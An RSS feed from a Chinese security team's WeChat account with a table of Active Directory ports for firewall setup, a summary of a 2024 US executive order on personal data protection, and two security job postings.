<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>承影安全团队ChengYingTeam</title>
    <link>https://wechat2rss.xlab.app/feed/7528d5257a3331281075aa520209d782adf7bb12.xml</link>
    <description>Penetration Testing &amp; Red Teaming &amp; Security&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (承影安全团队ChengYingTeam)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM7PoZyGoeibZqic7ia2EmMS7Wk5bsEicDgRgWJmXMEiaWLY7Sw/0</url>
      <title>承影安全团队ChengYingTeam</title>
      <link>https://wechat2rss.xlab.app/feed/7528d5257a3331281075aa520209d782adf7bb12.xml</link>
    </image>
    <item>
      <title>域成员与域控之间通信需要使用的端口</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU3MTU3NDk4Mw==&amp;mid=2247485248&amp;idx=1&amp;sn=2779d1697449d09a1a56fda96d09a3e2</link>
      <description>域成员与域控制器之间的通信涉及多种服务和协议，因此需要开放多个端口以支持身份验证、授权和其他目录访问服务。通常需要在防火墙中开放一些端口，以便域成员与域控制器之间能够正常通信，确保域中的计算机可以进行认证和访问网络资源。</description>
      <content:encoded><![CDATA[<p>
<span>C4</span> <span>2024-03-28 08:02</span> <span style="display: inline-block;">美国</span>
</p>

<p>域成员与域控制器之间的通信涉及多种服务和协议，因此需要开放多个端口以支持身份验证、授权和其他目录访问服务。通常需要在防火墙中开放一些端口，以便域成员与域控制器之间能够正常通信，确保域中的计算机可以进行认证和访问网络资源。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=441b0871&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fpx3YHTjnicprlgFDVXuCMfkrPoJf92zgDyO15Dm2xAdR72rzxwHlPb5Fciaj0IE3YXvlc1J2MaaiaVTIu4YmOC4KA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: justify;"><span style="font-size: 16px;">        Active Directory是微软公司开发的一种目录服务，允许管理员管理网络资源，如用户帐户、计算机、打印机和文件夹等，是一个集中的、标准化的系统，同时也可以为网络上的用户和资源分配权限和访问权。Active Directory 使用域控制器来存储所有域用户和机器的信息，也可以用来查找和管理资源。域成员与域控制器之间的通信涉及多种服务和协议，因此需要开放多个端口以支持身份验证、授权和其他目录访问服务。通常需要在防火墙中开放一些端口，以便域成员与域控制器之间能够正常通信，确保域中的计算机可以进行认证和访问网络资源。不过，具体需要开放哪些端口可能取决于网络的配置以及在域控制器和域成员服务器上部署的服务。在配置防火墙和安全策略时，应根据实际需要来调整端口的开放。</span><span style="font-size: 16px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;"></span></p><table><tbody><tr><td style="word-break: break-all;" width="199" align="center" valign="top"><strong>客户端</strong></td><td style="word-break: break-all;" width="122" align="center" valign="top"><strong>服务端</strong></td><td style="word-break: break-all;" width="235" align="center" valign="top"><strong>服务类型</strong></td></tr><tr><td style="word-break: break-all;" width="199" align="center" valign="top"><span style="font-size: 14px;">1024-65535/TCP</span></td><td style="word-break: break-all;" width="122" align="center" valign="top"><span style="font-size: 14px;">135/TCP</span></td><td style="word-break: break-all;" width="235" align="center" valign="top"><span style="font-size: 14px;">RPC</span></td></tr><tr><td style="word-break: break-all;" width="179" align="center" valign="top"><span style="font-size: 14px;">1024-65535/TCP/UDP</span></td><td style="" width="122" align="center" valign="top"><span style="font-size: 14px;">389/TCP/UDP</span></td><td style="" width="235" align="center" valign="top"><span style="font-size: 14px;">LDAP</span></td></tr><tr><td style="word-break: break-all;" width="199" align="center" valign="top"><span style="font-size: 14px;">1024-65535/TCP</span></td><td style="" width="122" align="center" valign="top"><span style="font-size: 14px;">636/TCP</span></td><td style="word-break: break-all;" width="235" align="center" valign="top"><span style="font-size: 14px;">LDAPSSL</span></td></tr><tr><td style="word-break: break-all;" width="199" align="center" valign="top"><span style="font-size: 14px;">1024-65535/TCP</span></td><td style="" width="122" align="center" valign="top"><span style="font-size: 14px;">3268/TCP</span></td><td style="" width="235" align="center" valign="top"><span style="font-size: 14px;">Global catalog</span></td></tr><tr><td style="" width="199" align="center" valign="top"><span style="font-size: 14px;">1024-65535/TCP</span></td><td style="" width="122" align="center" valign="top"><span style="font-size: 14px;">3269/TCP</span></td><td style="" width="235" align="center" valign="top"><span style="font-size: 14px;">Global catalog</span></td></tr><tr><td style="word-break: break-all;" width="199" align="center" valign="top"><span style="font-size: 14px;">53,1024-65535/TCP/UDP</span></td><td style="" width="122" align="center" valign="top"><span style="font-size: 14px;">53/TCP/UDP</span></td><td style="word-break: break-all;" width="235" align="center" valign="top"><span style="font-size: 14px;">DNS</span></td></tr><tr><td style="word-break: break-all;" width="199" align="center" valign="top"><span style="font-size: 14px;">1024-65535/TCP/UDP</span></td><td style="" width="122" align="center" valign="top"><span style="font-size: 14px;">88/TCP/UDP</span></td><td style="" width="235" align="center" valign="top"><span style="font-size: 14px;">Kerberos authentication</span></td></tr><tr><td style="" width="199" align="center" valign="top"><span style="font-size: 14px;">1024-65535/TCP</span></td><td style="word-break: break-all;" width="122" align="center" valign="top"><span style="font-size: 14px;">445/TCP</span></td><td style="" width="235" align="center" valign="top"><span style="font-size: 14px;">SMB</span></td></tr><tr><td style="word-break: break-all;" width="199" align="center" valign="top"><span style="font-size: 14px;">1024-65535/TCP/UDP</span></td><td style="" width="122" align="center" valign="top"><span style="font-size: 14px;">137/TCP/UDP</span></td><td style="" width="235" align="center" valign="top"><span style="font-size: 14px;">NetBIOS</span></td></tr><tr><td style="word-break: break-all;" width="199" align="center" valign="top"><span style="font-size: 14px;">1024-65535/TCP/UDP</span></td><td style="word-break: break-all;" width="122" align="center" valign="top"><span style="font-size: 14px;">138/TCP/UDP</span></td><td style="" width="235" align="center" valign="top"><span style="font-size: 14px;">NetBIOS</span></td></tr><tr><td style="word-break: break-all;" width="199" align="center" valign="top"><span style="font-size: 14px;">1024-65535/TCP/UDP</span></td><td style="" width="122" align="center" valign="top"><span style="font-size: 14px;">464/TCP/UDP</span></td><td style="word-break: break-all;" width="235" align="center" valign="top"><span style="font-size: 14px;">Kerberos password change</span></td></tr><tr><td style="" width="199" align="center" valign="top"><span style="font-size: 14px;">1024-65535/TCP</span></td><td style="" width="122" align="center" valign="top"><span style="font-size: 14px;">49443/TCP</span></td><td style="word-break: break-all;" width="235" align="center" valign="top"><span style="font-size: 14px;">ADFS</span></td></tr></tbody></table><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485248">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=0d6d37a1&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU3MTU3NDk4Mw%3D%3D%26mid%3D2247485248%26idx%3D1%26sn%3D2779d1697449d09a1a56fda96d09a3e2%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 28 Mar 2024 08:02:00 +0800</pubDate>
    </item>
    <item>
      <title>拜登总统发布行政命令保护个人数据</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU3MTU3NDk4Mw==&amp;mid=2247485243&amp;idx=1&amp;sn=3e03cd907af59ef14c2043ac1c293080</link>
      <description>拜登签署总统行政令，在数据安全方面的影响主要体现在加强敏感个人数据的保护、规制大规模数据转移、打击数据交易、推动数据安全立法、金融业数据保护、跨国数据传输限制几个方面。在进行跨境数据相关业务活动时，需要更加谨慎，例如安全测试、代码审计等。</description>
      <content:encoded><![CDATA[<p>
原创 <span>C4</span> <span>2024-03-11 07:00</span> <span style="display: inline-block;">美国</span>
</p>

<p>拜登签署总统行政令，在数据安全方面的影响主要体现在加强敏感个人数据的保护、规制大规模数据转移、打击数据交易、推动数据安全立法、金融业数据保护、跨国数据传输限制几个方面。在进行跨境数据相关业务活动时，需要更加谨慎，例如安全测试、代码审计等。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=96c06ab2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fpx3YHTjnicppoUZJWvT9RTJ3tohsJ1qIicfjUEpficYIIRKMeqntMzbbCVlnP2p9I6Hj9VedKK32Y83ngNliaFMwiaA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="margin-bottom: 1rem;border-width: 0px;border-style: initial;border-color: initial;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-stretch: inherit;font-size: 16px;font-family: &#34;Open Sans&#34;, Arial, sans-serif;font-optical-sizing: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;vertical-align: baseline;scroll-behavior: smooth;letter-spacing: 0.5px;color: rgb(10, 49, 77);width: 1200px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);line-height: 2em;"><span style="color: rgb(0, 0, 0);"><span style="font-family: &#34;Open Sans&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.5px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">    2024年2月28日，</span>拜登总统将签发一项行政命令，以保护美国人的敏感个人数据不被他国滥用。表达了美国<span style="color: rgb(13, 13, 13);font-family: Söhne, ui-sans-serif, system-ui, -apple-system, &#34;Segoe UI&#34;, Roboto, Ubuntu, Cantarell, &#34;Noto Sans&#34;, sans-serif, &#34;Helvetica Neue&#34;, Arial, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;letter-spacing: normal;text-align: start;white-space: pre-wrap;background-color: rgb(255, 255, 255);">在提高数据安全和隐私保护水平，特别是针对敏感个人数据遭受外国干涉和滥用的风险方面的重视。</span></span><span style="white-space-collapse: preserve;color: rgb(13, 13, 13);font-family: Söhne, ui-sans-serif, system-ui, -apple-system, &#34;Segoe UI&#34;, Roboto, Ubuntu, Cantarell, &#34;Noto Sans&#34;, sans-serif, &#34;Helvetica Neue&#34;, Arial, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;letter-spacing: normal;">拜登行政令在数据安全方面的影响主要体现在</span><span style="white-space-collapse: preserve;border-width: 0px;border-style: solid;border-color: rgb(227, 227, 227);color: rgb(0, 0, 0);background-color: rgb(214, 214, 214);">加强敏感个人数据的保护、规制大规模数据转移、打击数据交易、推动数据安全立法、金融业数据保护、跨国数据传输限制</span><span style="color: rgb(0, 0, 0);">几个方面<span style="color: rgb(13, 13, 13);font-family: Söhne, ui-sans-serif, system-ui, -apple-system, &#34;Segoe UI&#34;, Roboto, Ubuntu, Cantarell, &#34;Noto Sans&#34;, sans-serif, &#34;Helvetica Neue&#34;, Arial, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;letter-spacing: normal;white-space-collapse: preserve;">。</span></span></section><section style="margin-bottom: 1rem;border-width: 0px;border-style: initial;border-color: initial;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-stretch: inherit;font-size: 16px;font-family: &#34;Open Sans&#34;, Arial, sans-serif;font-optical-sizing: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;vertical-align: baseline;scroll-behavior: smooth;letter-spacing: 0.5px;color: rgb(10, 49, 77);width: 1200px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);line-height: 2em;"><span style="color: rgb(0, 0, 0);"><span style="color: rgb(13, 13, 13);font-family: Söhne, ui-sans-serif, system-ui, -apple-system, &#34;Segoe UI&#34;, Roboto, Ubuntu, Cantarell, &#34;Noto Sans&#34;, sans-serif, &#34;Helvetica Neue&#34;, Arial, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;letter-spacing: normal;white-space-collapse: preserve;"></span>    该行政命令是美国总统迄今为止为保护美国公民数据安全所采取的最重要的一项行政行动，<span style="background-color: rgb(214, 214, 214);">授权司法部长防止美国人的个人数据被大规模转移到受关切国家，并采取保障措施阻止相关国家可能获取美国人的敏感数据的其他活动</span>。拜登的行政命令重点是保护美国人个人信息，例如基因组数据、生物特征数据、个人健康数据、地理位置数据、财务数据和某些类别的个人身份信息。总统鼓励</span><span style="color: rgb(0, 0, 0);background-color: rgb(214, 214, 214);">消费者金融保护局（CFPB）</span><span style="color: rgb(0, 0, 0);">根据其现有的法律授权考虑采取措施，保护美国人免受非法采集与出售敏感数据的数据经纪商的侵害。</span></section><section style="margin-bottom: 1rem;border-width: 0px;border-style: initial;border-color: initial;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-stretch: inherit;font-size: 16px;font-optical-sizing: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;vertical-align: baseline;scroll-behavior: smooth;width: 1200px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);line-height: 2em;"><span style="color: rgb(0, 0, 0);font-family: &#34;Open Sans&#34;, Arial, sans-serif;letter-spacing: 0.5px;text-wrap: wrap;background-color: rgb(255, 255, 255);font-size: 16px;text-align: left;"></span></section><section style="margin-bottom: 1rem;border-width: 0px;border-style: initial;border-color: initial;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-stretch: inherit;font-size: 16px;font-family: &#34;Open Sans&#34;, Arial, sans-serif;font-optical-sizing: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;vertical-align: baseline;scroll-behavior: smooth;letter-spacing: 0.5px;color: rgb(10, 49, 77);width: 1200px;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);line-height: 2em;"><span style="color: rgb(0, 0, 0);font-family: inherit;font-size: inherit;font-style: inherit;font-variant-ligatures: inherit;font-variant-caps: inherit;font-weight: inherit;text-decoration: underline;">为了保护美国人的敏感</span><span style="color: rgb(0, 0, 0);font-family: inherit;font-size: inherit;font-style: inherit;font-variant-ligatures: inherit;font-variant-caps: inherit;font-weight: inherit;text-decoration: underline;">个人数据，拜登行政命令指出</span><span style="color: rgb(0, 0, 0);font-family: inherit;font-size: inherit;font-style: inherit;font-variant-ligatures: inherit;font-variant-caps: inherit;font-weight: inherit;text-decoration: underline;">：</span></section><ul class="list-paddingleft-1" style="list-style-type: disc;"><li style="color: rgb(0, 0, 0);font-size: 16px;"><section style="line-height: 2em;"><span style="color: rgb(0, 0, 0);font-size: 16px;">司法部颁布法规，明确保护美国人的敏感个人数据不被受关切国家获取和利用。这些保护措施将扩展到基因组数据、生物识别数据、个人健康数据、地理位置数据、财务数据和某些类别的个人识别信息。这些措施将防止此类数据被大规模转移到受关切国家，而这些国家都有采集和滥用美国人数据的不良记录。</span></section></li><li style="color: rgb(0, 0, 0);font-size: 16px;"><section style="line-height: 2em;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;color: rgb(0, 0, 0);font-size: 16px;">司法部发布法规，对敏感的、与政府相关的数据，其中包括敏感政府网站的地理位置信息和军人信息，建立更严格的保护。</span></section></li><li style="color: rgb(0, 0, 0);font-size: 16px;"><section style="line-height: 2em;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;color: rgb(0, 0, 0);font-size: 16px;">司法部和国土安全部合作制定安全高标准，</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;color: rgb(0, 0, 0);font-size: 16px;background-color: rgb(214, 214, 214);">防止通过其他商业手段（如通过投资、供应商和雇佣关系所获得的数据）来获取个人数据</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;color: rgb(0, 0, 0);font-size: 16px;">。</span></section></li><li style="color: rgb(0, 0, 0);font-size: 16px;"><section style="line-height: 2em;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;color: rgb(0, 0, 0);font-size: 16px;">卫生与公众服务部、国防部和退伍军人事务部共同确保联邦拨款、合同和奖励机制不被受关切国家利用以便于获取美国人的敏感健康数据，其中</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;color: rgb(0, 0, 0);font-size: 16px;background-color: rgb(214, 214, 214);">包括通过利用设在美国的公司企业</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;color: rgb(0, 0, 0);font-size: 16px;">。</span></section></li><li style="color: rgb(0, 0, 0);font-size: 16px;"><section style="line-height: 2em;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;color: rgb(0, 0, 0);font-size: 16px;">外国参与美国电信服务行业评估委员会在审核海底电缆许可证时要考虑到对美国人的敏感个人数据的威胁。</span></section></li><li style="color: rgb(0, 0, 0);font-size: 16px;"><section style="line-height: 2em;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.034em;color: rgb(0, 0, 0);font-size: 16px;">这些行动不会阻止金融服务活动所需的信息流动，政府也不会采取旨在使美国与其他国家的大量消费、经济、科学和贸易关系在更大范围内脱钩的措施。</span></section></li></ul><section style="line-height: 1.5em;"><br/></section><section style="line-height: 1.5em;"><span style="color: rgb(0, 0, 0);font-family: &#34;Times New Roman&#34;;font-style: italic;font-weight: bold;letter-spacing: 0.034em;font-size: 24px;">Reference：</span></section><p style="line-height: 1.5em;"><span style="font-family: &#34;Times New Roman&#34;;font-style: italic;font-weight: bold;letter-spacing: 0.034em;font-size: 16px;color: rgb(0, 0, 0);"><a href="https://www.whitehouse.gov/briefing-room/statements-releases/2024/02/28/fact-sheet-president-biden-issues-sweeping-executive-order-to-protect-americans-sensitive-personal-data/" target="_blank">https://www.whitehouse.gov/briefing-room/statements-releases/2024/02/28/fact-sheet-president-biden-issues-sweeping-executive-order-to-protect-americans-sensitive-personal-data/</a></span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style="line-height: 1.5em;"><span style="font-family: &#34;Times New Roman&#34;;font-style: italic;font-weight: bold;letter-spacing: 0.034em;font-size: 16px;color: rgb(0, 0, 0);"></span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style="line-height: 1.5em;"><span style="color: rgb(0, 0, 0);font-family: &#34;Times New Roman&#34;;font-size: 16px;font-style: italic;font-weight: bold;letter-spacing: 0.034em;"></span><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100001569" data-ratio="1.2933333333333332" style="text-align: center;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;" data-type="gif" data-w="600" src="https://wechat2rss.xlab.app/img-proxy/?k=04eb7057&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2Fpx3YHTjnicppRcEvJ0c6C5VHsJPkXdl62b1MYeabRYGxC1FJft0aZaRH9GEPLDuFgR5rp06gJM3zy4srCI5YNjg%2F640%3Fwx_fmt%3Dgif"/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485243">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=634326c1&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU3MTU3NDk4Mw%3D%3D%26mid%3D2247485243%26idx%3D1%26sn%3D3e03cd907af59ef14c2043ac1c293080%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 11 Mar 2024 07:00:00 +0800</pubDate>
    </item>
    <item>
      <title>某头部安全公司招聘网络安全研究员</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU3MTU3NDk4Mw==&amp;mid=2247485222&amp;idx=1&amp;sn=9b432ebe192c811b21d48dd0b59ed03e</link>
      <description>【岗位名称】&#xA;网络安全研究员&#xA;&#xA;【岗位职责】&#xA;1.参与建设大数据安全分析平台的核心分析能力。&#xA;2.模拟威胁环境，构建安全分析模型，提升产品溯源能力。&#xA;3.跟踪最新威胁，带领团队完成应对新威胁的功能改进。&#xA;4.利用态势感知平台支持客户现场的安全分析。&#xA;&#xA;【任职要求】&#xA;1.有红蓝对抗、病毒分析方面的经验和背景，3年以上相关经验。&#xA;2.有安全产品研发经验，不限于网络安全产品和终端安全产品。&#xA;3.了解典型的网络安全模型，比如杀伤链模型、ATT&amp;amp;CK框架等。&#xA;4.熟悉下述一种编程语言: 解释性语言 (Python或Perl) 、网络语言 Java或PHP) 、编译语言 (C或C++)。&#xA;5.有态势感知产品经验、有日志分析和流量分析相关经验者优先。&#xA;6.具备较强的动手能力和客户沟通能力。&#xA;&#xA;【工作地点】北京-亦庄&#xA;【薪资范围】面议（20-25k，优秀可谈）&#xA;【招聘名额】1人&#xA;【简历投递】zhang.sw@asiainfo-sec.com</description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2024-02-01 09:34</span> <span style="display: inline-block;">北京</span>
</p>

<p>【岗位名称】</p>
<p>网络安全研究员</p>
<p></p>
<p>【岗位职责】</p>
<p>1.参与建设大数据安全分析平台的核心分析能力。</p>
<p>2.模拟威胁环境，构建安全分析模型，提升产品溯源能力。</p>
<p>3.跟踪最新威胁，带领团队完成应对新威胁的功能改进。</p>
<p>4.利用态势感知平台支持客户现场的安全分析。</p>
<p></p>
<p>【任职要求】</p>
<p>1.有红蓝对抗、病毒分析方面的经验和背景，3年以上相关经验。</p>
<p>2.有安全产品研发经验，不限于网络安全产品和终端安全产品。</p>
<p>3.了解典型的网络安全模型，比如杀伤链模型、ATT&amp;CK框架等。</p>
<p>4.熟悉下述一种编程语言: 解释性语言 (Python或Perl) 、网络语言 Java或PHP) 、编译语言 (C或C++)。</p>
<p>5.有态势感知产品经验、有日志分析和流量分析相关经验者优先。</p>
<p>6.具备较强的动手能力和客户沟通能力。</p>
<p></p>
<p>【工作地点】北京-亦庄</p>
<p>【薪资范围】面议（20-25k，优秀可谈）</p>
<p>【招聘名额】1人</p>
<p>【简历投递】zhang.sw@asiainfo-sec.com</p>


<p style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;text-align: center;margin-left: 8px;margin-right: 8px;">
<img src="https://wechat2rss.xlab.app/img-proxy/?k=4d1ae65a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fpx3YHTjnicppRcEvJ0c6C5VHsJPkXdl62AyHIGp72ciaWp7k06fQ2Np9DLJL3TUQyEJIic0JIsf1kicKenFr6HnibFg%2F0%3Fwx_fmt%3Djpeg"/>
</p>

<div id="js_image_content" class="image_content ">  <!----> <!----> <div class="wx_album_area js_album_wrap " style=""><a href="https://mp.weixin.qq.com/mp/appmsgalbum?__biz=MzU3MTU3NDk4Mw==&amp;action=getalbum&amp;album_id=3306802416922705934#wechat_redirect"><span>#</span><span role="option"><i role="img" aria-label="#" class="wx_album_hash weui-icon-medium-hash "></i> <span class="wx_album_name ">安全招聘</span>  <span class="wx_album_num ">2</span></span></a></div> <div class="rich_media_tool "><div class="rich_media_info weui-flex policy_tips js_ad_policy_tips tips_global_primary "><!----></div></div> </div>

<p><img src="https://mmbiz.qpic.cn/sz_mmbiz_gif/px3YHTjnicppRcEvJ0c6C5VHsJPkXdl62b1MYeabRYGxC1FJft0aZaRH9GEPLDuFgR5rp06gJM3zy4srCI5YNjg/0?wx_fmt=gif"/></p>



]]></content:encoded>
      <pubDate>Thu, 01 Feb 2024 09:34:22 +0800</pubDate>
    </item>
    <item>
      <title>某头部安全公司招聘网络安全分析师</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU3MTU3NDk4Mw==&amp;mid=2247485216&amp;idx=1&amp;sn=f9948dff75d70a248a9bcd6200515296</link>
      <description>【岗位名称】&#xA;网络安全分析师&#xA;&#xA;【岗位职责】&#xA;1.设计和验证安全分析模型和规则，提高态势感知平台的检测、溯源和处置能力。&#xA;2.提高产品的安全告警研判能力，优化安全分析规则，降低误报率。&#xA;3.参与客户环境中态势感知平台的规则调优、事件分析和日常运营工作。&#xA;4.参与建设大数据安全分析平台的核心分析能力。&#xA;&#xA;【任职要求】&#xA;1.有网络攻防、渗透测试的经验和背景，3年以上相关经验。&#xA;2.熟悉网络安全产品的实践和原理，如防火墙、IDS、杀毒软件。&#xA;3.具有威胁分析工具使用经验，比如WiresharkIDA Pro，OllyDbg.Metasploit等。&#xA;4.熟悉下述一种编程语言: 解释性语言 Pvthon或Perl) 、网络语言(ava或PHP) 、编译语言 (C或C++)。&#xA;5.有日志分析和流量分析相关经验者优先6.具备较强的动手能力和客户沟通能力。&#xA;&#xA;【工作地点】北京-亦庄&#xA;【薪资范围】面议（20-25k，优秀可谈）&#xA;【招聘名额】1人&#xA;【简历投递】zhang.sw@asiainfo-sec.com</description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2024-01-31 18:00</span> <span style="display: inline-block;">北京</span>
</p>

<p>【岗位名称】</p>
<p>网络安全分析师</p>
<p></p>
<p>【岗位职责】</p>
<p>1.设计和验证安全分析模型和规则，提高态势感知平台的检测、溯源和处置能力。</p>
<p>2.提高产品的安全告警研判能力，优化安全分析规则，降低误报率。</p>
<p>3.参与客户环境中态势感知平台的规则调优、事件分析和日常运营工作。</p>
<p>4.参与建设大数据安全分析平台的核心分析能力。</p>
<p></p>
<p>【任职要求】</p>
<p>1.有网络攻防、渗透测试的经验和背景，3年以上相关经验。</p>
<p>2.熟悉网络安全产品的实践和原理，如防火墙、IDS、杀毒软件。</p>
<p>3.具有威胁分析工具使用经验，比如WiresharkIDA Pro，OllyDbg.Metasploit等。</p>
<p>4.熟悉下述一种编程语言: 解释性语言 Pvthon或Perl) 、网络语言(ava或PHP) 、编译语言 (C或C++)。</p>
<p>5.有日志分析和流量分析相关经验者优先6.具备较强的动手能力和客户沟通能力。</p>
<p></p>
<p>【工作地点】北京-亦庄</p>
<p>【薪资范围】面议（20-25k，优秀可谈）</p>
<p>【招聘名额】1人</p>
<p>【简历投递】zhang.sw@asiainfo-sec.com</p>


<p style="margin-bottom: 0px;letter-spacing: 0.578px;text-wrap: wrap;text-align: center;margin-left: 8px;margin-right: 8px;">
<img src="https://wechat2rss.xlab.app/img-proxy/?k=88d3e420&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fpx3YHTjnicpqAxwUkRpV3Y4lAM5qp6OTEHw9qaElBE6dejlfwUBeJib0G7Cj9OXF17XoGKeCxINkmcPicZvoc0oaw%2F0%3Fwx_fmt%3Djpeg"/>
</p>

